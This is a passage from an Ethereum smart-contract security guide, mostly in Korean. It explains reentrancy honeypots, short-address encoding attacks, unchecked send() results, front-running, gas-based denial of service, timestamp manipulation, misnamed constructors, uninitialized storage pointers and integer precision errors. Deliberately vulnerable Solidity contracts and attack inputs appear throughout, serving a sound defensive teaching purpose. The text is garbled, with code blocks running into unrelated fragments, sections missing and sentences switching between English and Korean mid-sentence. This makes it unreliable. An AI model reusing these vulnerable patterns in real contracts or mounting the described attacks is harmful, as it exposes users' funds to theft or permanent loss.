Another solution is to hard code any external contract addresses if they are known.

In general, code that calls external contracts should always be looked at carefully. As a developer, when defining external contracts, it can be a good idea to make the contract addresses public (which is not the case in the honey-pot example given below) to allow users to easily examine which code is being referenced by the contract. Conversely, if a contract has a private variable contract address it can be a sign of someone behaving maliciously (as shown in the real-world example). If a privileged (or any) user is capable of changing a contract address which is used to call external functions, it can be important (in a decentralised system context) to implement a time-lock or voting mechanism to allow users to see which code is being changed or to give participants a chance to opt in/out with the new contract address.


<h3 id="cr-example">실제 사례: 재진입 허니팟</h3>

최근 다수의 허니팟이 메인넷에 배포되었습니다. 이러한 계약들은 계약을 악용하려는 이더리움 해커들을 속이려고 시도하지만, 해커들은 결국 자신이 악용할 것으로 예상한 계약에 이더를 잃게 됩니다. 한 예로, 생성자에서 예상된 계약을 악성 계약으로 교체하는 위 공격을 사용합니다. 코드는 [여기](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code)에서 확인할 수 있습니다:```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

이제 어떤 거래소가 많은 양의 토큰(예: `REP`)을 보유하고 있고, 한 사용자가 자신의 몫인 100개 토큰을 인출하려고 한다고 가정해 보자. 사용자는 자신의 주소인 `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead`와 토큰 수량인 `100`을 제출할 것이다. 거래소는 `transfer()` 함수가 지정한 순서, 즉 `address` 다음에 `tokens` 순서로 이 매개변수들을 인코딩할 것이다. 인코딩된 결과는 `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`가 된다. 첫 4바이트(`a9059cbb`)는 `transfer()`의 [함수 시그니처/셀렉터](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector)이고, 다음 32바이트는 주소이며, 마지막 32바이트는 토큰 수량을 나타내는 `uint256` 값이다. 끝부분의 16진수 `56bc75e2d63100000`이 100개 토큰에 해당한다는 점에 유의하라(`REP` 토큰 계약에서 지정한 대로 소수점 18자리).

자, 그럼 1바이트(16진수 2자리)가 누락된 주소를 보내면 어떤 일이 발생하는지 살펴보자. 구체적으로, 공격자가 마지막 두 자리가 누락된 `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde`를 주소로 보내고 동일한  `100` 토큰을 인출한다고 가정해 보자. 만약 거래소가 이 입력값을 검증하지 않는다면, 이는 `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`로 인코딩될 것이다. 그 차이는 미묘하다. 전송된 짧은 주소를 보정하기 위해 인코딩 끝부분에 `00`이 패딩된다는 점에 유의하라. 이것이 스마트 계약으로 전송되면, `address` 매개변수는 `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00`으로 읽히고 값은 `56bc75e2d6310000000`으로 읽힌다(추가된 두 개의 `0`에 유의하라). 이제 이 값은 `25600`개 토큰이다(값에 `256`이 곱해졌다). 이 예시에서, 거래소가 이만큼의 토큰을 보유하고 있다면 사용자는 수정된 주소로 `25600`개 토큰을 인출하게 될 것이다(거래소는 사용자가 단지 `100`개만 인출한다고 생각하지만). 물론 이 예시에서 공격자는 수정된 주소를 소유하지 않을 것이다. 그러나 공격자가 `0`으로 끝나는 임의의 주소를 생성하고(이는 쉽게 무차별 대입이 가능하다) 그 생성된 주소를 사용한다면, 아무것도 모르는 거래소로부터 토큰을 쉽게 훔칠 수 있다.

<h3 id="short-prev">예방 기법</h3>

모든 입력값을 블록체인에 보내기 전에 검증하면 이러한 종류의 공격을 예방할 수 있다는 것은 두말할 나위 없이 당연하다. 또한 매개변수의 순서가 여기서 중요한 역할을 한다는 점에 유의해야 한다. 패딩은 오직 끝부분에서만 발생하므로, 스마트 계약에서 매개변수 순서를 신중하게 정하면 이 공격의 일부 형태를 완화할 수 있다.

<h3 id="short-example">실제 사례: 알려진 바 없음</h3>

실제로 공개된 이런 유형의 공격 사례는 알지 못한다.

<h2 id="unchecked-calls"><span id="SP-9">9. 검사되지 않은 CALL 반환값</span></h2>

Solidity에서 외부 호출을 수행하는 방법에는 여러 가지가 있다. 이더를 외부 계정으로 보내는 것은 일반적으로 `transfer()` 메서드를 통해 수행된다.  그러나 `send()` 함수도 사용될 수 있고, 더 다양한 외부 호출을 위해 `CALL` 연산 코드를 Solidity에서 직접 사용할 수 있다. `call()` 및 `send()` 함수는 호출 성공 여부를 나타내는 불리언을 반환한다. 따라서 이 함수들에는 한 가지 중요한 주의사항이 있다. `call()` 또는 `send()`로 시작된 외부 호출이 실패하더라도 이 함수들을 실행하는 트랜잭션은 되돌려지지 않고, `call()` 또는 `send()`가 단순히 `false`를 반환할 뿐이다. 반환 값을 확인하지 않고 대신 revert가 발생할 것이라고 기대할 때 흔한 함정이 발생한다.

자세한 내용은 [DASP Top 10](http://www.dasp.co/#item-4) 및 [라이브 이더리움 계약에서 "Unchecked-Send" 버그 스캔하기](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/)를 참조하라.

<h3 id="unchecked-calls-vuln">취약점</h3>

다음 예시를 고려해 보자:```solidity
contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

    var subpotsCount = getSubpotsCount(roundIndex);

    if(subpotIndex>=subpotsCount)
        return;

    var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

    if(decisionBlockNumber>block.number)
        return;

    if(rounds[roundIndex].isCashed[subpotIndex])
        return;
    //Subpots can only be cashed once. This is to prevent double payouts

    var winner = calculateWinner(roundIndex,subpotIndex);
    var subpot = getSubpot(roundIndex);

    winner.send(subpot);

    rounds[roundIndex].isCashed[subpotIndex] = true;
    //Mark the round as cashed

Notice that on line \[21\] the send 함수의 반환 값이 확인되지 않고, 다음 줄에서 승자에게 자금이 전송되었음을 나타내는 부울 값을 설정한다는 점에 유의하세요. 이 버그로 인해 승자가 이더를 받지 못하는 상태가 발생할 수 있지만, 계약의 상태는 승자가 이미 지급받았다고 표시될 수 있습니다.

이 버그의 더 심각한 버전은 [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html)에서 발생했습니다. 이 계약에 대한 훌륭한 [사후 분석](https://www.kingoftheether.com/postmortem.html)이 작성되었으며, 확인되지 않은 실패한 `send()`가 계약을 공격하는 데 어떻게 사용될 수 있는지 자세히 설명합니다.


<h2 id="race-conditions"><span id="SP-10">10. 경쟁 조건(Race Conditions) / 프론트 러닝(Front Running)</span></h2>

다른 계약에 대한 외부 호출과 기본 블록체인의 다중 사용자 특성이 결합되어 사용자가 예기치 않은 상태를 얻기 위해 코드 실행을 *경쟁*하게 되는 다양한 잠재적 Solidity 함정이 발생합니다. [Re-Entrancy](#reentrancy)는 이러한 경쟁 조건의 한 예입니다. 이 섹션에서는 이더리움 블록체인에서 발생할 수 있는 다양한 종류의 경쟁 조건에 대해 더 일반적으로 논의합니다. 이 주제에 대한 좋은 게시물이 여러 가지 있습니다: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions), [DASP - Front-Running](http://www.dasp.co/#item-7) 및 [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).

<h3 id="race-conditions-vuln">취약점</h3>

대부분의 블록체인과 마찬가지로 이더리움 노드는 트랜잭션을 풀링하여 블록으로 구성합니다. 트랜잭션은 채굴자가 합의 메커니즘(현재 이더리움의 [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW)을 해결한 후에만 유효한 것으로 간주됩니다. 블록을 해결한 채굴자는 풀의 어떤 트랜잭션이 블록에 포함될지도 선택하며, 일반적으로 트랜잭션의 `gasPrice`에 따라 정렬됩니다. 여기에 잠재적인 공격 벡터가 있습니다. 공격자는 트랜잭션 풀에서 문제에 대한 해결책을 포함하거나, 공격자의 권한을 수정하거나 취소하거나, 공격자에게 바람직하지 않은 계약 상태를 변경하는 트랜잭션을 감시할 수 있습니다. 그런 다음 공격자는 이 트랜잭션에서 데이터를 가져와 더 높은 `gasPrice`로 자신의 트랜잭션을 생성하고 원래 트랜잭션보다 먼저 블록에 포함시킬 수 있습니다.

간단한 예를 통해 이것이 어떻게 작동하는지 살펴보겠습니다. `FindThisHash.sol` 계약을 고려해 보세요:```solidity
contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution));
        msg.sender.transfer(1000 ether);
    }
}

이 함수는 사용자가 다른 사용자에게 자신을 대신해 토큰을 전송할 수 있는 권한을 부여할 수 있게 해줍니다. 프론트러닝 취약점은 사용자 Alice가 친구 `Bob`이 `100 tokens`을 사용하도록 *승인*하는 시나리오에서 발생합니다. 이후 Alice는 `Bob`이 `100 tokens`을 사용하도록 한 승인을 철회하려고 하여, `Bob`의 할당량을 `50 tokens`으로 설정하는 트랜잭션을 생성합니다. `Bob`은 체인을 주의 깊게 관찰하고 있다가 이 트랜잭션을 보고 자신이 `100 tokens`을 사용하는 트랜잭션을 구성합니다. 그는 자신의 트랜잭션에 `Alice`의 트랜잭션보다 더 높은 `gasPrice`를 설정하여 자신의 트랜잭션이 그녀의 트랜잭션보다 우선 처리되도록 합니다. 일부 `approve()` 구현은 `Bob`이 자신의 `100 tokens`을 전송하도록 허용한 다음, `Alice`의 트랜잭션이 커밋되면 `Bob`의 승인을 `50 tokens`으로 재설정하여, 결과적으로 `Bob`에게 `150 tokens`에 대한 접근 권한을 부여합니다. 이 공격에 대한 완화 전략은 위에 링크된 문서의 [여기](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit)에서 확인할 수 있습니다.

또 다른 유명한 실제 사례로는 [Bancor](https://www.bancor.network/)가 있습니다. Ivan Bogatty와 그의 팀은 초기 Bancor 구현에 대한 수익성 있는 공격을 문서화했습니다. 그의 [블로그 게시물](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798)과 [Devon 3 발표](https://www.youtube.com/watch?v=RL2nE3huNiI)에서 이것이 어떻게 이루어졌는지 자세히 논의합니다. 본질적으로 토큰의 가격은 트랜잭션 값에 따라 결정되므로, 사용자는 트랜잭션 풀에서 Bancor 트랜잭션을 관찰하고 프론트러닝하여 가격 차이를 통해 이익을 얻을 수 있습니다. 이 공격은 Bancor 팀에 의해 해결되었습니다.

<h2 id="dos"><span id="SP-11">11. 서비스 거부 (DOS)</span></h2>

이 범주는 매우 광범위하지만, 기본적으로 사용자가 계약을 짧은 기간 동안 또는 어떤 경우에는 영구적으로 작동 불가능하게 만들 수 있는 공격들로 구성됩니다. 이는 [Second Parity MultiSig 해킹](#dc-example)의 경우처럼 이더를 계약에 영원히 가둘 수 있습니다.

<h3 id="dos-vuln">취약점</h3>

계약이 작동 불가능하게 되는 방법은 다양합니다. 여기서는 공격자가 DOS 공격을 수행하도록 이어질 수 있는, 잠재적으로 덜 명확한 블록체인 특유의 Solidity 코딩 패턴 몇 가지만 강조하겠습니다.

**1. 가스 스티펜드가 없는 외부 호출** - 알 수 없는 계약에 외부 호출을 하고 싶은 경우
그 호출의 성공 여부와 관계없이 트랜잭션 처리를 계속하고 싶은 경우가 있을 수 있습니다.
일반적으로 이는
`CALL` opcode를 사용하여 달성됩니다. `CALL`은 호출이 실패해도 트랜잭션을 되돌리지 않습니다
(자세한 내용과 예제는 [Unchecked CALL 반환 값](#unchecked-calls)을 참조하세요).
간단한 예로, `withdraw()` 함수가 호출될 때 이더를 천천히
흘려보내는 계약 지갑을 생각해 봅시다. `partner`는
자신의 주소를 추가하고 가스를 소비하여 출금을 호출할 수 있으며,
`partner`와 `owner` 모두에게 계약 총 잔액의 1%를 제공합니다.```solidity
contract TrickleWallet {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        require(partner == '0x0' || msg.sender == partner);
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // the recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

만약 인출 파트너가 계약 소유자가 마음에 들지 않게 되었다면,
그들은 파트너 주소를 이 계약으로 설정하고 `TrickleWallet` 계약에 있는
모든 자금을 영원히 잠글 수 있습니다.

이러한 DOS 공격 벡터를 방지하려면 외부 호출에 가스 stipend를 지정하여
해당 트랜잭션이 사용할 수 있는 가스량을 제한해야 합니다. 이 예시에서는
\[17\]번 줄을 다음과 같이 변경하여 이 공격을 해결할 수 있습니다.```solidity
partner.call.gas(50000).value(amountToSend)();

// ... extra functionality, including transfertoken()

function invest() public payable {
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5); // 5 times the wei sent
    }

function distribute() public {
    require(msg.sender == owner); // only owner
    for(uint i = 0; i < investors.length; i++) {
        // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
        transferToken(investors[i],investorTokens[i]);
    }
}

이 계약의 루프는 인위적으로 확장될 수 있는 배열을 반복한다는 점에 유의하십시오. 공격자는 많은 사용자 계정을 생성하여 `investor` 배열을 크게 만들 수 있습니다. 원칙적으로 이는 for 루프를 실행하는 데 필요한 가스가 블록 가스 한도를 초과하도록 만들어 `distribute()` 함수를 사실상 작동 불가능하게 만들 수 있습니다.

**3. 소유자 작업** - 또 다른 일반적인 패턴은 소유자가 계약에서 특정 권한을 갖고 계약이 다음 상태로 진행되기 위해 특정 작업을 수행해야 하는 경우입니다. 한 가지 예로 소유자가 계약을 `finalize()`해야 토큰을 양도할 수 있게 되는 ICO 계약을 들 수 있습니다. 즉,``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere

function finalize() public {
    require(msg.sender == owner);
    isFinalized == true;
}

// ... extra ICO functionality

// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
    require(isFinalized);
    super.transfer(_to,_value)
}

...

constructor() public payable {} // initially fund contract

// fallback function used to make a bet
function () public payable {
    require(msg.value == 10 ether); // must send 10 ether to play
    require(now != pastBlockTime); // only 1 transaction per block
    pastBlockTime = now;
    if(now % 15 == 0) { // winner
        msg.sender.transfer(this.balance);
    }
}

이 계약은 단순한 복권처럼 동작합니다. 각 블록의 트랜잭션 하나가 `10 ether`를 걸고 계약에 보관된 잔액을 얻을 기회를 가질 수 있습니다. 여기서 가정은 `block.timestamp`가 마지막 두 자리에 대해 균등하게 분포한다는 것입니다. 그렇다면 이 복권에 당첨될 확률은 1/15입니다.

하지만 알다시피, 채굴자(miner)는 필요하다면 타임스탬프를 조정할 수 있습니다. 이 특정한 경우, 계약에 충분한 이더가 축적되면 블록을 해결한 채굴자는 `block.timestamp` 또는 `now`를 15로 나눈 나머지가 `0`이 되는 타임스탬프를 선택할 유인이 생깁니다. 그렇게 함으로써 블록 보상과 함께 이 계약에 잠긴 이더를 얻을 수 있습니다. 블록당 한 사람만 베팅할 수 있기 때문에 이는 [선행 거래(front-running)](#race-conditions) 공격에도 취약합니다.

실제로 블록 타임스탬프는 단조 증가하므로 채굴자는 임의의 블록 타임스탬프를 선택할 수 없습니다(이전 블록의 타임스탬프보다 커야 합니다). 또한 너무 먼 미래로 블록 시간을 설정하는 것도 제한됩니다. 그러한 블록은 네트워크에서 거부될 가능성이 높기 때문입니다(노드는 미래의 타임스탬프를 가진 블록을 검증하지 않습니다).

<h3 id="block-timestamp-prev">예방 기법</h3>

블록 타임스탬프는 엔트로피나 난수 생성에 사용되어서는 안 됩니다. 즉, 게임 승리 또는 중요한 상태 변경(무작위로 가정되는 경우)의 결정 요인이 되어서는 안 됩니다(직접적으로든 어떤 파생을 통해서든).

시간에 민감한 로직이 필요한 경우도 있습니다. 예를 들어 계약 잠금 해제(타임락), 몇 주 후 ICO 종료, 만료 날짜 적용 등입니다. 때로는 시간을 추정하기 위해 `block.number`( [Solidity 문서](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties) 참조)와 평균 블록 시간을 사용하는 것이 권장됩니다. 예를 들어 `10 second`의 블록 시간으로 `1 week`는 약 `60480 blocks`에 해당합니다. 따라서 계약 상태를 변경할 블록 번호를 지정하는 것이 더 안전할 수 있습니다. 채굴자가 블록 번호를 그만큼 쉽게 조작할 수 없기 때문입니다. [BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) 계약이 이 전략을 사용했습니다.

계약이 블록 타임스탬프의 채굴자 조작에 특별히 민감하지 않다면 이는 불필요할 수 있지만, 계약을 개발할 때 알아두어야 할 사항입니다.

<h3 id="block-timestamp-example">실제 사례: GovernMental</h3>

[GovernMental](http://governmental.github.io/GovernMental/)은 상당히 많은 양의 이더를 축적한 오래된 폰지 사기였습니다. 또한 타임스탬프 기반 공격에 취약했습니다. 이 계약은 한 라운드에서 (최소 1분 동안) 마지막으로 참여한 플레이어에게 지급했습니다. 따라서 플레이어인 채굴자는 타임스탬프를(1분이 경과한 것처럼 보이도록 미래 시간으로) 조정하여, 해당 플레이어가 1분 넘게 마지막으로 참여한 것처럼 보이게 할 수 있었습니다(실제로는 그렇지 않더라도). 이에 대한 자세한 내용은 Tanya Bahrynovska가 작성한 [History of Ethereum Security Vulnerabilities Post](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes)에서 확인할 수 있습니다.

<h2 id="constructors"><span id="SP-13">13. 주의해서 작성해야 하는 생성자</span></h2>

생성자(constructor)는 계약을 초기화할 때 중요하고 권한이 필요한 작업을 수행하는 특수 함수입니다. Solidity `v0.4.22` 이전에는 생성자가 해당 계약과 동일한 이름을 가진 함수로 정의되었습니다. 따라서 개발 중에 계약 이름이 변경될 때 생성자 이름도 변경되지 않으면 일반 호출 가능 함수가 됩니다. 상상할 수 있듯이 이로 인해 흥미로운 계약 해킹 사례가 발생할 수 있었고(실제로 발생했습니다).

더 자세한 내용을 알고 싶다면 독자에게 [Ethernaught Challenges](https://github.com/OpenZeppelin/ethernaut)를 시도해 볼 것을 권장합니다(특히 Fallout 레벨).

<h3 id="constructors-vuln">취약점</h3>

계약 이름이 수정되거나 생성자 이름에 오타가 있어 더 이상 계약 이름과 일치하지 않으면 생성자는 일반 함수처럼 동작합니다. 이는 심각한 결과를 초래할 수 있으며, 특히 생성자가 권한이 필요한 작업을 수행하는 경우 더욱 그렇습니다. 다음 계약을 고려해 보세요.```solidity
contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}

bool public unlocked = false;  // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
    bytes32 name;
    address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
    // set up the new NameRecord
    NameRecord newRecord;
    newRecord.name = _name;
    newRecord.mappedAddress = _mappedAddress;

    resolve[_name] = _mappedAddress;
    registeredNameRecord[msg.sender] = newRecord;

    require(unlocked); // only allow registrations if contract is unlocked
}

이 간단한 이름 등록기(registrar)에는 단 하나의 함수만 있습니다. 계약이 `unlocked` 상태일 때, 누구나 이름을(`bytes32` 해시로) 등록하고 그 이름을 주소에 매핑할 수 있습니다. 안타깝게도 이 등록기는 처음에 잠겨 있으며, 23행의 `require`가 `register()`가 이름 레코드를 추가하지 못하게 막습니다. 하지만 이 계약에는 `unlocked` 변수와 무관하게 이름 등록을 허용하는 취약점이 있습니다.

이 취약점을 논의하려면 먼저 솔리디티에서 스토리지(storage)가 어떻게 동작하는지 이해해야 합니다. 높은 수준의 개요로는(적절한 기술적 세부사항 없이 - 정확한 검토를 위해 솔리디티 문서를 읽는 것을 권장합니다), 상태 변수들은 계약에 나타나는 순서대로 *슬롯(slot)*에 순차적으로 저장됩니다 (서로 묶일 수도 있지만, 이 예제에서는 해당하지 않으므로 걱정하지 않겠습니다). 따라서 `unlocked`는 `slot 0`에, `registeredNameRecord`는 `slot 1`에, `resolve`는 `slot 2`에 존재합니다. 각 슬롯은 32바이트 크기입니다 (지금은 무시하는 매핑과 관련된 추가적인 복잡성이 있습니다). 불리언 `unlocked`는 `false`의 경우 `0x000...0`(0x를 제외한 64개의 0)처럼 보이고, `true`의 경우 `0x000...1`(63개의 0)처럼 보입니다. 보시다시피, 이 특정 예제에서는 상당한 스토리지 낭비가 있습니다.

우리가 필요한 다음 정보는, 솔리디티가 `struct`와 같은 복합 데이터 타입을 지역 변수로 초기화할 때 기본적으로 `storage`로 지정한다는 것입니다. 따라서 16행의 `newRecord`는 기본적으로 `storage`가 됩니다. 취약점은 `newRecord`가 초기화되지 않았다는 사실에서 발생합니다. 기본적으로 storage이기 때문에 스토리지에 대한 포인터가 되고, 초기화되지 않았기 때문에 `slot 0`(즉, `unlocked`가 저장된 위치)을 가리킵니다. 17행과 18행에서 `nameRecord.name`을 `_name`으로, `nameRecord.mappedAddress`를 `_mappedAddress`로 설정하는 것을 주목하세요. 이는 실제로 slot 0과 slot 1의 스토리지 위치를 변경하여 `unlocked`와 `registeredNameRecord`와 연관된 스토리지 슬롯을 모두 수정합니다.

즉, `register()` 함수의 `bytes32 _name` 매개변수만으로 `unlocked`를 직접 수정할 수 있습니다. 따라서 `_name`의 마지막 바이트가 0이 아니면 스토리지 `slot 0`의 마지막 바이트를 수정하여 `unlocked`를 직접 `true`로 변경합니다. `unlocked`를 `true`로 설정하기 때문에 이러한 `_name` 값은 23행의 `require()`를 통과합니다. Remix에서 직접 시도해 보세요. 다음 형식의 `_name`을 사용하면 함수가 통과한다는 것을 알 수 있습니다: `0x0000000000000000000000000000000000000000000000000000000000000001`

<h3 id="storage-prev">예방 기법</h3>

솔리디티 컴파일러는 초기화되지 않은 스토리지 변수를 경고로 표시하므로, 개발자는 스마트 계약을 만들 때 이러한 경고에 세심한 주의를 기울여야 합니다. 현재 버전의 mist(0.10)는 이러한 계약의 컴파일을 허용하지 않습니다. 복합 타입을 다룰 때는 예상대로 동작하도록 `memory` 또는 `storage` 키워드를 명시적으로 사용하는 것이 좋은 습관입니다. 솔리디티 버전 `0.5.0`부터는 `memory`와 `storage`의 사용이 필수입니다.

<h3 id="storage-example">실제 사례: 허니팟(Honey Pots): OpenAddressLottery와 CryptoRoulette</h3>

OpenAddressLottery([계약 코드](https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code))라는 허니팟이 배포되었는데, 이 허니팟은 초기화되지 않은 스토리지 변수의 이 특성을 이용하여 몇몇 지망생 해커들로부터 이더를 모았습니다. 이 계약은 상당히 깊이가 있으므로, 공격이 아주 명확하게 설명된 이 [reddit 스레드](https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/)에 논의를 맡기겠습니다.

또 다른 허니팟인 CryptoRoulette([계약 코드](https://etherscan.io/address/0x8685631276cfcf17a973d92f6dc11645e5158c0c#code))도 이 같은 트릭을 사용하여 이더를 모으려고 시도했습니다. 공격이 어떻게 작동하는지 파악할 수 없다면, 이 계약과 다른 계약들에 대한 개요를 보려면 [An analysis of a couple Ethereum honeypot contracts](https://medium.com/@jsanjuas/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d)를 참조하세요.

<h2 id="precision"><span id="SP-15">15. 부동 소수점과 정밀도</span></h2>

이 글을 작성하는 시점(Solidity v0.4.24)에서는 고정 소수점 또는 부동 소수점 숫자가 지원되지 않습니다. 이는 부동 소수점 표현을 Solidity의 정수 타입으로 만들어야 함을 의미합니다. 이는 올바르게 구현되지 않으면 오류/취약점으로 이어질 수 있습니다.

더 자세한 내용은 [Ethereum Contract Security Techniques and Tips - Rounding with Integer Division](https://github.com/ethereum/wiki/wiki/Safety#beware-rounding-with-integer-division),

<h3 id="precision-vuln">취약점</h3>

Solidity에는 고정 소수점 타입이 없기 때문에 개발자는 표준 정수 데이터 타입을 사용하여 자체적으로 구현해야 합니다. 이 과정에서 개발자가 부딪힐 수 있는 함정이 여러 가지 있습니다. 이 섹션에서는 그중 일부를 강조하려고 합니다.

코드 예제부터 시작하겠습니다 (단순화를 위해 오버플로/언더플로 문제는 무시하겠습니다).```solidity
contract FunWithNumbers {
    uint constant public tokensPerEth = 10;
    uint constant public weiPerEth = 1e18;
    mapping(address => uint) public balances;

    function buyTokens() public payable {
        uint tokens = msg.value/weiPerEth*tokensPerEth; // convert wei to eth, then multiply by token rate
        balances[msg.sender] += tokens;
    }

    function sellTokens(uint tokens) public {
        require(balances[msg.sender] >= tokens);
        uint eth = tokens/tokensPerEth;
        balances[msg.sender] -= tokens;
        msg.sender.transfer(eth*weiPerEth); //
    }
}